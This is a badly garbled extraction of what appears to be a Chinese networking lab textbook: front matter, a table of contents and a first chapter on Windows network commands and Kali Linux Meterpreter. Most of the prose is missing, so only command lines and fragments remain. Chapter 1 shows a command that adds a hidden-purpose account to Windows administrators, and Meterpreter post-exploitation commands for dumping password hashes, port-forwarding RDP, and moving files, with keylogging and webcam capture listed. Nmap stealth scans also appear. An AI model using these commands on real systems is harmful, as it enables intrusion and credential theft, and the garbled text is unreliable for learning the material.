


Windows Linux VLAN
STP RSTP MSTP RIP OSPF IS-IS

ACL NAT OSPF BGP
IPv6 GRE

 / .
2019.6 

ISBN 978-7-5643-6945-3 

. . .
. TP393 

CIP 2019 125823

   

111 21   610031
028-87600564   028-87600533 

http://www.xnjdcbs.com 

  185 mm 260 mm  
  16.75      417
  2019 6 1       2019 6 1

  ISBN 978-7-5643-6945-3 
  39.00

028-87600533 

028-87600562



Windows Linux

Windows Linux

Cisco

2018

Times New Roman

eNSP

Cisco Packet Tracer GNS3

http: //mooc1.chaoxing.com/course/template60/ 

201471138.html http: //mooc1.xueyinonline.com/course/template60/ 



201471138.html

Kali OSPF

MSTP IS-IS BGP

1 6.8 11.2 11.3 11.4

12

1 4 4.6 4.12

6 7 8 9

2 2.1 2.7 3 4 4.1 4.5 10

12 2 2.8 4 4.10 4.13 5 11 11.2

11.5 eNSP

10

IPv6

Linux

*

Email 124357009@qq.com



yangxc2004@163.com

JG2018-870

2018ZD07 2019ZD08

MOOC

2019YB17 RFID

18ZB0408

SCJYSZ1513 201812212012

eNSP

201812212012X 201812212002

IPv6

201812212002X

2019 3





1 ·········································· 1 

1.1 Windows ······················ 1 
1.2 Kali Linux ···················· 7 

2   VLAN ······································································ 15 

2.1 VLAN ····················································· 15 
2.2 VLAN ····················································· 19 
2.3 VLAN ····················································· 24 
2.4 VLAN ····················································· 27 
2.5 VLAN ········································· 32 
2.6 VLAN ········································· 35 
2.7 MAC VLAN ········································ 40 
2.8 GARP ································································· 44 

3   STP ········································································· 49 

3.1  STP ····································································· 49 
3.2 STP ···································································· 50 
3.3 RSTP ·································································· 53 
3.4 RSTP ·································································· 57 
3.5 MSTP * ································································ 63 

4 ··································································· 69 

4.1 ······························································· 69 
4.2 ·········································· 72 
4.3 ·········································· 77 
4.4 RIP ·········································· 82 
4.5 RIP ·········································· 89 
4.6 OSPF ·································· 94 
4.7 OSPF ································ 102 
4.8 OSPF ········································ 108 



4.9 OSPF * ··································112 
4.10 BGP ···················································· 120 
4.11  BGP ·············································· 123 
4.12 BGP ···················································· 126 
4.13 BGP ···················································· 135 

5 IS-IS ·························································· 140 

5.1  IS-IS ···························································· 140 
5.2  IS-IS ···························································· 143 
5.3  IS-IS ··················································· 146 

6 ··················································· 152 

6.1 Windows WWW ········································· 152 
6.2 Linux WWW ·············································· 155 
6.3 Windows FTP ············································· 157 
6.4 Linux FTP ················································· 159 
6.5 Windows DHCP ·········································· 162 
6.6 Linux DHCP ·············································· 166 
6.7 DHCP ················································· 168 
6.8  Wireshark ······················································ 170 

7 ··························································· 174 

7.1 ACL ····················································· 174 
7.2 ACL ····················································· 177 
7.3 ACL ····················································· 179 
7.4 ACL ····················································· 182 

8   NAT ································································· 185 

8.1  NAT ·································································· 185 
8.2 NAT ······················································ 186 
8.3 NAT ······················································ 188
8.4 NAT ······················································ 191 

9 ······························································ 195 

9.1 ································································ 195 
9.2 * ·················································· 196 
9.3 PPP * ····················································· 205 



10   IPv6 ······························································· 209 

10.1 IPv4 IPv6 ·········································· 209 
10.2 IPv6 ·············································· 213 
10.3 IPv6 over IPv4 GRE ································· 216 
10.4 IPv6 over IPv4 ·································· 219 
10.5 IPv6 to IPv4 ····································· 219 
10.6 IPv4 over IPv6 ········································ 223 
10.7 RIPng ············································ 228 
10.8 IPv6 ACL ·········································· 232 

11 ································································ 236 

11.1  IPSec ····································································· 236 
11.2  ················································ 237 
11.3  VLAN ··································· 239 
11.4  RSPAN ··········································· 242 
11.5  BGP/MPLS VPN ··········································· 245 

12 RFID ··························································· 254 

12.1  RFID ·························································· 254 
12.2  RFID ·························································· 256 
12.3  RFID ································································ 256 

··················································································· 258 





1

1

2

1 Windows IP
MAC

2 Kali Linux IP
MAC

Meterpreter

1.1 Windows

Windows
ipconfig ping tracert pathping netstat net user mstsc Windows

/?
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1.1.1  ipconfig

Windows 2000 ipconfig IP
/all MAC

DNS
IP MAC 1-1

1-1  ipconfig IP

Host Name police2000 IP IP Address
192.168.1.44 Subnet Mask 255.255.255.0 Physical Address
00-0D-87-FB-94-19 Default Gateway 192.168.1.254 DNS

Servers IP 192.168.6.1 192.168.1.11

1.1.2  ping

Windows ping
ping ICMP echo -t

ping Ctrl+C ping 4
1 Reply from  < IP> bytes=< 1>  time=< 2>ms  TTL=< 3>

2 Request Timed Out
3 Destination Host Unreachable
4 PING General failure
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1-2

C \Documents and Settings\Administrator>ping www.cnki.net
Pinging www.cnki.net [103.227.81.121] with 32 bytes of data
Reply from 103.227.81.121 bytes=32 time=57ms TTL=48 
Reply from 103.227.81.121 bytes=32 time=57ms TTL=48 
Reply from 103.227.81.121 bytes=32 time=57ms TTL=48 
Reply from 103.227.81.121 bytes=32 time=57ms TTL=48 

1-2  ping

www.cnki.net Windows
ping 4 ICMP

ping IP
WWW ping www.baidu.com IP 180.97.33.108

ping baidu.com IP 220.181.57.216
Content Delivery Network CDN

1.1.3  tracert

Windows tracert
tracert ICMP echo

1-3

C:\>tracert  www.sina.com.cn 
Tracing route to puppis.sina.com.cn [221.236.31.210] 
over a maximum of 30 hops: 
  1   <1 ms   <1 ms   <1 ms   192.169.1.1 
  2     5 ms     2 ms     3 ms   192.168.26.254 
  3     2 ms     3 ms     2ms   10.10.0.243 
  4     <1 ms   <1 ms   <1 ms   10.10.0.10 
  5     1 ms    <1 ms   <1 ms   182.129.150.9 
  6     2 ms    <1 ms   1 ms   182.129.151.73 
  7     13 ms   12 ms    11 ms   171.208.202.77 
  8    8 ms    8 ms     8 ms   118.123.217.134 
  9    8 ms    8 ms     8 ms   222.211.63.58 
 10    *       *       *      Request timed out. 
 11    6 ms    6 ms     7 ms   221.236.31.210 
Trace complete. 

1-3  tracert

11 hops
192.169.1.1 IP
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1.1.4  pathping

Windows pathping ping tracert

1-4

C:\Documents and Settings\Administrator>pathping www.cnki.net 
Tracing route to www.cnki.net [103.227.81.121] 
over a maximum of 30 hops: 
  0  pc01 [192.168.0.70] 
  1  192.168.0.1 
  2  192.168.26.254 
  3  10.10.0.241 
  4  10.10.0.1 
  5  10.10.0.5 
  6  182.129.150.1 
  7  182.129.151.141 
  8  171.208.202.77 
  9  202.97.36.49 
 10     *        *        * 
Computing statistics for 250 seconds... 
            Source to Here   This Node/Link 
Hop  RTT    Lost/Sent = Pct  Lost/Sent = Pct  Address 
  0                                           pc01 [192.168.0.70] 
                                0/ 100 =  0%   | 
  1    0ms     0/ 100 =  0%      0/ 100 =  0%  192.168.0.1 
                               0/ 100 =  0%   | 
  2    4ms     0/ 100 =  0%     0/ 100 =  0%  192.168.26.254 
                               0/ 100 =  0%   | 
  3    1ms     0/ 100 =  0%    0/ 100 =  0%  10.10.0.241 
                               0/ 100 =  0%   | 
  4    0ms     0/ 100 =  0%     0/ 100 =  0%  10.10.0.1 
                               0/ 100 =  0%   | 
  5    0ms     0/ 100 =  0%     0/ 100 =  0%  10.10.0.5 
                               0/ 100 =  0%   | 
  6    0ms     0/ 100 =  0%     0/ 100 =  0%  182.129.150.1 
                                0/ 100 =  0%   | 
  7    0ms     0/ 100 =  0%     0/ 100 =  0%  182.129.151.141 
                                0/ 100 =  0%   | 
  8   11ms     0/ 100 =  0%     0/ 100 =  0%  171.208.202.77 
                                100/ 100 =100%   | 
  9  ---     100/ 100 =100%       0/ 100 =  0%  202.97.36.49 
                                0/ 100 =  0%   | 
 10  ---     100/ 100 =100%       0/ 100 =  0%  pc01 [0.0.0.0] 
Trace complete.

1-4  pathping
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www.cnki.net 10 hops
171.208.202.77 202.97.36.49 100%

1.1.5  netstat

netstat -n
1-5

C:\Documents and Settings\Administrator>netstat  -n

Active Connections 

  Proto    Local Address         Foreign Address       State 

  TCP     192.168.0.70:139      192.168.0.93:3268     ESTABLISHED 

 TCP    192.168.0.70:3919   220.181.57.139:443   ESTABLISHED 

  TCP     192.168.0.70:4022    118.112.24.101:80     TIME_WAIT 

  TCP     192.168.0.70:4023    110.185.117.206:80    TIME_WAIT 

  TCP     192.168.0.70:4024    118.112.24.101:80     TIME_WAIT 

1-5  netstat

192.168.0.70 3919 220.181.57.139 443
HTTPS HTTP

1.1.6  net user

net user Windows

1.

1
net user < > < > /add 

Users
2
net user < > < >
3
net user < > /delete 
4
net localgroup < > < > /add 

administrators backup operators
print operators
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5
net user < > < > /add & net localgroup < > < > /add 

< > /add

2.

Windows 2003 Server abc pass123
administrators

net user abc pass123 /add & net localgroup administrators abc /add 
1-6

1-6  abc administrators

net user abc

1.1.7  mstsc

mstsc microsoft terminal services client
mstsc 1-7

1-7  

IP

1 3389
Windows 7
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2 Remote Desktop Services
Windows 7 Terminal Services Windows Server 2003

3 3389

1.2 Kali Linux

Kali Linux Meterpreter Metasploit

Meterpreter ? 1-8

1-8  Meterpreter

Meterpreter Meterpreter 1-1

1-1  Meterpreter

 ? use run backgroud quit

 cat upload download edit getwd getlwd search

 ifconfig ipconfig ping portfwd netstat rdesktop route arp

 ps sysinfo clearev migrate execute getpid kill getuid reboot shutdown shell

 getdesktop screenshot keyscan_start keyscan_stop keyscan_dump

Web  webcam_chat webcam_list webcam_snap webcam_stream

hashdump 
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IP

Kali IP 10.109.32.50/22

IP 10.109.35.196/22

1.2.1  sessions

1-9

1-9  sessions

msf  exploit handler >sessions  -i  1      

[*]Starting  interaction with  1

meterpreter>                             

Meterpreter

1.2.2  sysinfo

Meterpreter sysinfo 1-10

meterpreter> sysinfo                     

1-10  sysinfo

Windows 7 1

WIN-FKSQA4FB8HP
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1.2.3  getuid

Meterpreter getuid 1-11

1-11  getuid

WIN-FKSQA4FB8HP Administrator

1.2.4  ps

Meterpreter ps

1-12

1-12  ps

32 PID 1732

Administrator

1.2.5  arp

Meterpreter arp arp 1-13
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a

b

1-13  arp

Kali arp 1-13 a b

1.2.6  ifconfig

Meterpreter ifconfig MAC IPv4
IPv6 1-14

1-14  ifconfig



1

- 11 - 

1.2.7  netstat

Meterpreter netstat 1-15

1-15  netstat

1.2.8  route

Meterpreter route 1-16

1-16  route

1.2.9  portfwd

portfwd Meterpreter
3389

6666
meterpreter> portfwd    -h                       
meterpreter> portfwd    add  -l  6666   -p  3389  -r  10.109.35.196

netstat  -a 6666 1.2.7
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1.2.10  upload

Meterpreter upload Kali

meterpreter>upload    -h                         

-r

Kali root setup.exe Windows c

\xampp\htdoc

meterpreter>upload    /root/setup.exe  c /xampp/htdoc

1.2.11  download

Meterpreter download

c \xampp

meterpreter>download  -r   c \\xampp

\\

1.2.12  hashdump

Meterpreter hashdump SAM Hash

1-17

1-17  hashdump

Administrator Guest Hash

Hash 1-18

1-18  Administrator 
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1.2.13  nmap

Kali nmap

1.

nmap [ ]  [ ]  [ IP ]
1 1-2

1-2  nmap

-sS 
TCP Syn

stealth TCP Syn
-sP 

Ping

-sT 
TCP

stealth TCP connect
-sU 

UDP

2 1-3

1-3  nmap

-p  < > -O 
TCP/IP

-T4 
Aggressive

-f
IP SYN FIN XMAS

NULL

-v -h

-P0 
ping

-Pn ping

-I  <inputfile> 
inputfile

-o <outputfile> logfilename

2. nmap

192.168.1.0/24
root@kali: #nmap  -sP  192.168.1.0/24 

192.168.1.0/24 80
root@kali: #nmap  -p  80   192.168.1.* 

192.168.1.0/24 1-1023
root@kali: #nmap  -p  1-1023   192.168.1.* 
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172.16.1.100 TCP Aggressive

root@kali: #nmap  -sT  -T4   172.16.1.100
IP 192.168.134.130 TCP Syn

root@kali: #nmap  -sS  -Pn  192.168.134.130
1-19

1-19  nmap

192.168.134.130 135 139 445
1025 3389 9876 MAC 00 0C 29
FA 08 55

nmap
nmap /IDS/IPS

Web
Kali



2   VLAN

VLAN 
1
2
3 VLAN

1 VLAN
2 VLAN

1 VLAN
2 VLAN
3 VLAN
4

2.1 VLAN

VLAN Virtual Local Area Network

VLAN

VLAN VLAN

VLAN VLAN

VLAN

1 VLAN VLAN0001 VLAN 1 1 VLAN
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<Huawei>

[Huawei]

[Huawei-vlan ID] VLAN

[Huawei -Ethernet0/0/1]

[Huawei-port-group-1]

2-1

2-1  

2.1.1  

VLAN 2-2

2-2  VLAN


